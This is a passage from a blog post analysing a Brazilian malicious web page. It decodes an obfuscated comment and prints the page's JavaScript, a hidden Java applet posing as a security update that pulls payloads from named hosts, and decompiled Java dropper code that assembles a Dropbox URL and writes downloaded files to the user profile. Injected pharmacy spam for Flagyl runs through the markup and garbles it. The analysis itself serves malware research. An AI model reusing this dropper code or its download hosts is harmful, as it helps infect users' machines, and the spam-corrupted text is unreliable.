<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 182:</span>         f();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 183:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 184:</span> }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 185:</span> WindowOnload(JSM_onCreate);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 186:</span> setTimeout(<span style="color: #006080">&quot;JSM_onCreate()&quot;</span>, 7000);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 187:</span> <span style="color: #008000">/*</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 188:</span> <span style="color: #008000">msg = d_hex( d_b64( ?. ) );</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 189:</span> <span style="color: #008000">NTM2MTc1NjQ2MWU3ZjU2NTczMjA2MTZmNzMyMDZkNjU3NTczMjA2MzZmNmM2NTY3NjE3MzIwNjQ2</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 190:</span> <span style="color: #008000">NTIwNzQ3MjYxNjI2MTZjNjg2ZjIwNjQ2ZjIwNjI2YzZmNjcyMDYzNzI2OTZkNjU3MzYzNjk2MjY1</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 191:</span> <span style="color: #008000">NzI2ZTY1NzQ2OTYzNmY3MzJlNjM2ZjZkMmUwZDBhNTM2MTYyNjU2ZTY0NmYyMDcxNzU2NTIwNmU2</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 192:</span> <span style="color: #008000">MTY0NjEyMDczNjE2MjY1NmQ2ZjczMjA2NTczNzQ2MTZkNmY3MzIwNjE2Y2U5NmQyMDY0NmYyMDYy</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 193:</span> <span style="color: #008000">NjU2ZDIwNjUyMDY0NmYyMDZkNjE2YzJjMjA2MTY2Njk2ZTYxNmMyMDYxMjBmYTZlNjk2MzYxMjA2</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, <b>online Flagyl without a prescription</b>, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 194:</span> <span style="color: #008000">MzZmNjk3MzYxMjA2MTYyNzM2ZjZjNzU3NDYxMjBlOTIwNzE3NTY1MjA3NDc1NjQ2ZjIwZTkyMDcy</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 195:</span> <span style="color: #008000">NjU2YzYxNzQ2OTc2NmYyZTBkMGE1NTZkMjA2MTYyNzI2MWU3NmYyYzIwNjQ2ZjIwNzM2NTc1MjA2</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 196:</span> <span style="color: #008000">MTZkNjk2NzZmMjA1MDczNzk2MzY4NmM2ZjJlMGQwYTYyNzkyMDUwNzM3OTYzNjg2YzZmMjAyZDIw</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 197:</span> <span style="color: #008000">MzEzMTJmMzEzMTJmMzEzMQ==</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 198:</span> <span style="color: #008000"></span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, <b>Flagyl duration</b>, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 199:</span> <span style="color: #008000">*/</span></pre>  </div></div></p>
<p><p>&#160;</p></p>
<p><p>Now, some parts are more interesting than others.&#160; The end if the file just seems base64 encoded…cause it is.&#160; OK un-base64, you get a wall of numbers.&#160;&#160; But there is a clue in the d_hex function (that doesn’t exist), so we are assuming it is hex.&#160; Convert the tex to text and you see this:</p></p>
<p><blockquote>  <p>Saudações aos meus colegas de trabalho do blog crimesciberneticos.com.<br />
    <br />Sabendo que nada sabemos estamos além do bem e do mal, afinal a única coisa absoluta é que tudo é relativo.</p>
<p>    <br />Um abraço, do seu amigo Psychlo.</p>
<p>    <br />by Psychlo - 11/11/11</p></blockquote></p>
<p><p>Via Google translate you find this is Portuguese which I’m sure would make some of my Portuguese friends happy.&#160; Actually, if you want it to be hard to untranslate, use a language no one knows anymore, like Fries or <a href="http://en.wikipedia.org/wiki/Gronings">Gronings</a>!&#160; Cause you know every girl wants to hear, “Hey babe, I speak <a href="http://en.wikipedia.org/wiki/Gronings">Gronings</a>.”&#160; <sup>Note: my mother speaks Gronings.</sup></p></p>
<p><blockquote>  <p>Greetings to my coworkers crimesciberneticos.com blog.<br />
    <br />Knowing that we know nothing beyond good and evil, <b>purchase Flagyl</b>, after all the only thing absolute is that everything is relative.</p>
<p>    <br />A hug, your friend Psychlo.</p>
<p>    <br />by Psychlo - 11/11/11</p></blockquote></p>
<p><p>&#160;</p></p>
<p><p>Anyway, one of the things this code is trying to do is run a Java applet.&#160; But do take a look that the rest of that code, some of it will come in handy later.</p></p>
<p><p>&#160; Here is where that is happening:</p></p>
<p><div style="border-bottom: gray 1px solid; border-left: gray 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; max-height: 200px; font-size: 8pt; overflow: auto; border-top: gray 1px solid; cursor: text; border-right: gray 1px solid; padding-top: 4px">  <div style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px">    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   1:</span> <span style="color: #0000ff">function</span> JSM_getAppletHtml() {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, <b>Flagyl without a prescription</b>, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   2:</span>     <span style="color: #0000ff">return</span> <span style="color: #006080">'&lt;applet name=&quot;*ATENÇÃO* Atualização de Segurança Clique em EXECUTAR !!&quot; code=&quot;a.class&quot; archive=&quot;'</span> + JSM_getAppletURL() + <span style="color: #006080">'?r='</span> + Math.floor(100000 + (Math.random() * 999999 + 1)) + <span style="color: #006080">'&quot; width=&quot;0&quot; height=&quot;0&quot;  style=&quot;visibility: hidden&quot;&gt;        &lt;param name=&quot;l&quot; value=&quot;http://smsfame.com/Get/Get.php?a=jre.exe&quot;&gt;&lt;/param&gt;&lt;/applet&gt;'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   3:</span> }</pre>  </div></div></p>
<p><p>Which is indirecteeze for:</p></p>
<p><div style="border-bottom: gray 1px solid; border-left: gray 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; max-height: 200px; font-size: 8pt; overflow: auto; border-top: gray 1px solid; cursor: text; border-right: gray 1px solid; padding-top: 4px">  <div style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px">    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   1:</span> &lt;applet name=<span style="color: #006080">&quot;*ATENÇÃO* Atualização de Segurança Clique em EXECUTAR !!&quot;</span> code=<span style="color: #006080">&quot;a.class&quot;</span> archive=<span style="color: #006080">&quot;http://advancedqualitysystem.com/Get/Get.php?a=/a1.jar?r=976646&quot;</span> width=<span style="color: #006080">&quot;0&quot;</span> height=<span style="color: #006080">&quot;0&quot;</span>  style=<span style="color: #006080">&quot;visibility: hidden&quot;</span>&gt;        &lt;param name=<span style="color: #006080">&quot;l&quot;</span> value=<span style="color: #006080">&quot;http://smsfame.com/Get/Get.php?a=jre.exe&quot;</span>&gt;&lt;/param&gt;&lt;/applet&gt;</pre>  </div></div></p>
<p><p>OK, now I have the url for the Java applet, plus the entry point class (a.class).&#160;&#160; I can download that now.&#160; With the applet in hand, <b>generic Flagyl</b>, a Java applet is a zip file (funny things you remember from Comp Sci class in 1996), grab the *.class files, find a Java Decompiler and away we go.</p></p>
<p><p>You get 5 classes:</p></p>
<p><p>a.java</p></p>
<p><div style="border-bottom: gray 1px solid; border-left: gray 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; max-height: 200px; font-size: 8pt; overflow: auto; border-top: gray 1px solid; cursor: text; border-right: gray 1px solid; padding-top: 4px">  <div style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px">    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   1:</span> import java.applet.Applet;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   2:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, <b>Where to buy Flagyl</b>, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   3:</span> <span style="color: #0000ff">public</span> <span style="color: #0000ff">class</span> a extends Applet</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   4:</span> {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   5:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   6:</span>     <span style="color: #0000ff">public</span> a()</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   7:</span>     {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, <b>Flagyl samples</b>, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   8:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   9:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  10:</span>     <span style="color: #0000ff">public</span> <span style="color: #0000ff">void</span> init()</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  11:</span>     {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  12:</span>         c_gP c_gp = <span style="color: #0000ff">new</span> c_gP();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, <b>Rx free Flagyl</b>, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  13:</span>         c_ed c_ed1 = <span style="color: #0000ff">new</span> c_ed();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  14:</span>         c_js c_js1 = <span style="color: #0000ff">new</span> c_js();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  15:</span>         String s = (<span style="color: #0000ff">new</span> StringBuilder()).append(c_gp.gP(8)).append(<span style="color: #006080">&quot;.&quot;</span>).append(<span style="color: #006080">&quot;ln&quot;</span>).append(<span style="color: #006080">&quot;k&quot;</span>).toString();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  16:</span>         String s1 = (<span style="color: #0000ff">new</span> StringBuilder()).append(c_gp.gP(8)).append(<span style="color: #006080">&quot;.l&quot;</span>).append(<span style="color: #006080">&quot;n&quot;</span>).append(<span style="color: #006080">&quot;k&quot;</span>).toString();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  17:</span>         <span style="color: #0000ff">try</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  18:</span>         {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, <b>order Flagyl from United States pharmacy</b>, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  19:</span>             String s2 = System.getenv(<span style="color: #006080">&quot;ALLUSERSPROFILE&quot;</span>);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  20:</span>             String s3 = getParameter(<span style="color: #006080">&quot;l&quot;</span>);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  21:</span>             <span style="color: #0000ff">if</span>(s2 != <span style="color: #0000ff">null</span>)</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  22:</span>             {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  23:</span>                 String s4 = <span style="color: #006080">&quot;ht&quot;</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, <b>Order Flagyl online overnight delivery no prescription</b>, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  24:</span>                 String s5 = <span style="color: #006080">&quot;tp&quot;</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  25:</span>                 String s6 = <span style="color: #006080">&quot;:&quot;</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  26:</span>                 String s7 = <span style="color: #006080">&quot;//&quot;</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  27:</span>                 String s8 = <span style="color: #006080">&quot;dl&quot;</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  28:</span>                 String s9 = <span style="color: #006080">&quot;.drop&quot;</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  29:</span>                 String s10 = <span style="color: #006080">&quot;box.&quot;</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, <b>Flagyl images</b>, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  30:</span>                 String s11 = <span style="color: #006080">&quot;com/u/41185898/&quot;</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  31:</span>                 String s12 = <span style="color: #006080">&quot;a.gif&quot;</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  32:</span>                 c_ed1.ed((<span style="color: #0000ff">new</span> StringBuilder()).append(s4).append(s5).append(s6).append(s7).append(s8).append(s9).append(s10).append(s11).append(s12).toString(), (<span style="color: #0000ff">new</span> StringBuilder()).append(s2).append(<span style="color: #006080">&quot;\\&quot;).append(s1).toString(), this);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  33:</span>                 c_ed1.ed(s3, (new StringBuilder()).append(s2).append(&quot;</span>\\<span style="color: #006080">&quot;).append(s).toString(), <b>Buy cheap Flagyl no rx</b>, this);</pre></p>
